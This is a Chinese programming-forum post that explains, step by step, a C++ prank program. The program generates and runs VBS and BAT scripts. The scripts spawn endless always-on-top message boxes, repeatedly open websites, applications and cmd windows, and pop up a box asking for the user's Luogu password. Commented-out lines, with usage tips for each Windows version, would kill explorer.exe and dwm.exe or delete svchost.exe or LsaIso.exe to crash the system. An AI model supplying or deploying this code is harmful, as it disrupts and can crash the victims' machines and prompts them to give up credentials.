社区讨论

布什戈门

灌水区参与者 3已保存回复 2

讨论操作

快速查看讨论及其快照的属性,并进行相关操作。

当前回复
2 条
当前快照
1 份
快照标识符
@m20hpxnw
此快照首次捕获于
2024/10/08 21:42
去年
此快照最后确认于
2024/10/08 21:57
去年
查看原帖
布什戈门,我的代码真的有这么毒吗?╮(╯-╰)╭
逝了一下,的确很毒
为了安全,我决定分步讲解代码,听好了!\( ̄︶ ̄*))
CPP
#include <bits/stdc++.h>
using namespace std;
头文件,命名空间,知否?o( ̄︶ ̄)o
CPP
int main(){
    
    return 0;
}
主函数,知否?<( ̄︶ ̄)↗[GO!]
CPP
ofstream fout;
文件输出,知否?o((>ω< ))o
CPP
fout.open("ILIKELUOGU.vbs");//生成并输出到ILIKELUOGU.vbs
fout<<"set shell = Wscript.createobject(\"wscript.shell\")"<<endl;
//输出set shell = Wscript.createobject("wscript.shell")
fout<<"a=shell.run(\"ILIKELUOGU.bat\", 0)"<<endl;
//输出a=shell.run("ILIKELUOGU.bat", 0)
fout.close();//关闭输出文件
//总的来说,这个vbs文件能运行ILIKELUOGU.bat文件
懂否?
CPP
fout.open("ILIKELUOGU.bat");//生成并输出到ILIKELUOGU.bat
fout<<"start calc"<<endl;
//输出start calc
fout<<"start https://www.luogu.com.cn/"<<endl;
//输出start https://www.luogu.com.cn/
fout<<"start https://www.bilibili.com/"<<endl;
//输出start https://www.bilibili.com/
fout<<"start https://poki.com/zh#utm_source=china"<<endl;
//输出start https://poki.com/zh#utm_source=china
fout<<"start notepad"<<endl;
//输出start notepad
fout<<"winver"<<endl;
//输出winver
fout.close();//关闭输出文件
//总的来说,这个bat文件能帮你依次打开洛谷,哔哩哔哩,poki,记事本和版本报告小程序
Do you know?o(〃^▽^〃)o
CPP
fout.open("Bearsinon.bat");//生成并输出到Bearsinon.bat
for(int i=1;i<=5;i++) 
	fout<<"start ILIKELUOGU.vbs"<<endl;//输出五个start ILIKELUOGU.vbs
fout.close();//关闭输出文件
//总的来说,这个bat文件能运行五次ILIKELUOGU.vbs(之前是999次)
Do you know? q(≧▽≦q)
CPP
fout.open("Bearsinon.vbs");//生成并输出到Bearsinon.vbs
fout<<"msgbox \"这是一个普通的程序\", 4096, \"Bearsinon\""<<endl;
//输出msgbox "这是一个普通的程序", 4096, "Bearsinon"
fout<<"dim a"<<endl<<"a=1"<<endl;
//输出dim a
//输出a=1
fout<<"msgbox \"突然,程序发生了爆炸\", 4096, \"Bearsinon\""<<endl;
//输出msgbox "突然,程序发生了爆炸", 4096, "Bearsinon"
fout<<"while true"<<endl;
//死循环
fout<<"msgbox \"\\^o^/\",4096+48+4,\"^_-\""<<endl;
//输出msgbox "\^o^/",4096+48+4,"^_-"
fout<<"msgbox \"Are you OK?\", 4096+48+4, \"^_-\""<<endl;
//输出msgbox "Are you OK?", 4096+48+4, "^_-"
fout<<"Wend"<<endl;
//输出Wend
fout.close();
//总的来说,这个vbs文件可以弹出一个标题为 “Bearsinon”,内容为“这是一个普通的程序”的消息框(4096表示置顶),定义变量a,a=1(没用上),重复执行弹出消息框。“Wend”相当于"}"
知否?( ̄︶ ̄)↗ 
CPP
//不写输出了,直接解释
fout.open("run.vbs");
fout<<"set shell = Wscript.createobject(\"wscript.shell\")"<<endl;
fout<<"dim k"<<endl;
fout<<"k=1"<<endl;
fout<<"while k<5"<<endl;
fout<<"k=k+1"<<endl;
fout<<"a=shell.run(\"Bearsinon.vbs\", 1)"<<endl;
fout<<"Wend"<<endl;
fout.close();
//总而言之,连续五次打开Bearsinon.vbs(之前是999次)
Do you know? <( ̄︶ ̄)↗[GO!]
CPP
fout.open("ILOVELUOGU.bat");
fout<<"start Bearsinon.bat"<<endl;
fout.close();
//总而言之,启动Bearsinon.bat
Do you know? o((>ω< ))o
CPP
fout.open("taskkill.bat");
int i=5;
while(i!=0) {
	fout<<"start cmd.exe"<<endl;
	i--;
}	
//fout<<"taskkill /f /im devcpp.exe /t"<<endl;
//fout<<"taskkill /f /im dwm.exe /t"<<endl;
//fout<<"taskkill /f /im explorer.exe /t"<<endl;
/*
//win7请食用下面这句
fout<<"wmic process where name=\"svchost.exe\" delete"<<endl;
//win10/11请食用下面这句
fout<<"wmic process where name=\"LsaIso.exe\" delete"<<endl;
//win8自己逝逝用哪一个
//不管用可以不用 
*/
fout.close();
//总而言之,打开5个cmd窗口,(之前是999次)
//注释内容:关闭devcpp.exe,关闭dwm.exe,关闭explorer.exe,and蓝屏指令
Do you understand? o(〃^▽^〃)o
CPP
fout.open("taskkill.vbs");
fout<<"set shell = Wscript.createobject(\"wscript.shell\")"<<endl;
fout<<"dim k"<<endl;
fout<<"k=inputbox(\"Your luogu password\",\"Bearsinon\",\"Bearsinon\")"<<endl;
fout<<"Msgbox \"^_-\""<<endl;
fout<<"a=shell.run(\"taskkill.bat\", 0)"<<endl;
fout.close();
//参照上面,你应该能理解
Do you 理解? o((>ω< ))o
CPP
system("start run.vbs");
system("start ILOVELUOGU.bat");
system("start taskkill.bat");
//所有程序全部启动启动启动
Do you know? ^o^/
逝用小程序,帮你打开记逝本,计算器,版本报告小程序,洛谷,哔哩哔哩,poki,cmd,只不过打开的太多了。

回复

2 条回复,欢迎继续交流。

正在加载回复...